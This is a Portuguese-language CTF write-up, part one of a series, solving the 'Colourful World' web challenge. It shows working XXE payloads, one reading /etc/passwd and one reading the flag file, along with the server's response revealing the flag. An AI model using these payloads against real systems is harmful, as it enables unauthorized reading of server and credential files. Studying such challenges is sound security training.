Great Lakes Security Conference CTF — Hackeando Apps NodeJS — Parte 1
GLSC CTF (Great Lakes Security Conference)
Este CTF (capture the flag) foi organizado pelos times de InfoSec da Universidade de Michigan e ocorreu nos dias 16 a 18/04/21. Esta série explora as técnicas para resolver os 5 desafios do CTF deste evento.
O nível de dificuldade foi baixo, mas acabou sendo bastante divertido e ajudou a tirar um pouco da minha ferrugem (um longo tempo afastado dos CTFs).
set hacker mode on
O site continua disponível, caso você queira testar os conhecimentos. (Algumas URLs visíveis aqui, mas apenas em prints).
Todos os Desafios
- Parte 1 — Colourful World (este post)
- Parte 2 — Express Puzzle
- Parte 3 — Javascript Puzzle
- Parte 4 — Kevin
- Parte 5 — Mr. Roboto
Desafio: Colourful World
Após submeter o nome e cor favorita, ele mostra a mensagem abaixo:
Hi Neptunian!My favorite color is also Blue.
O texto é processado no servidor via POST, o que é o provável input com falha a ser explorada. Na página inicial, um comentário de HTML dá a primeira dica:
<!-- The above form will POST a request with a Content-Type value of: application/x-www-form-urlencoded The developer writing the backend over-engineered it to also accept other Content-Type values: application/json text/xml The flag is at /ctf/app/flag.txt -->
Se tentarmos acessar diretamente, ele retorna o erro:
Cannot GET /ctf/app/flag.txt
A parte chave da dica está no trecho em itálico do mesmo comentário acima. O desenvolvedor permitiu a entrada também nos formatos JSON e XML. Com a entrada em XML, é possível testar a vulnerabilidade XXE — XML eXternal Entity Processing.
Com essa vulnerabilidade, você declara um novo elemento e entidade, onde é possível referenciar um arquivo no servidor (entre outras possibilidades). No exemplo abaixo, o &xxe; é substituído pelo conteúdo do arquivo /etc/passwd em aplicações vulneráveis.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
O teste é executar o POST em na própria raiz, referenciando o arquivo com a flag. Abaixo o payload para exploração da falha:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT color ANY >
<!ENTITY xxe SYSTEM "file:///ctf/app/flag.txt" >
]>
<body>
<name>Neptunian</name>
<color>&xxe;</color>
</body>
Com o payload pronto, o teste foi realizado com o seguinte código NodeJS/JavaScript:
E o resultado foi flag!
$ node hack_data.js
<html>
<body>
<p>Hi Neptunian!</p>
<p>My favorite color is also GLSC{m4y83_1_5h0u1dv3_57uck_w17h_j50n}.</p>
</body>
</html>
Parte 2
O próximo desafio da série é o Express Puzzle, que explora uma aplicação NodeJS que utiliza o framework Express.js.
Referências
- Perfil do CTF — no CTF Time: https://ctftime.org/event/1051
- Meu perfil no CTF Time: https://ctftime.org/team/122851
- Link Direto do Evento: https://glsc.tech/
- XXE — XML External Entity: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_%28XXE%29_Processing
- Twitter: @NeptunianHacks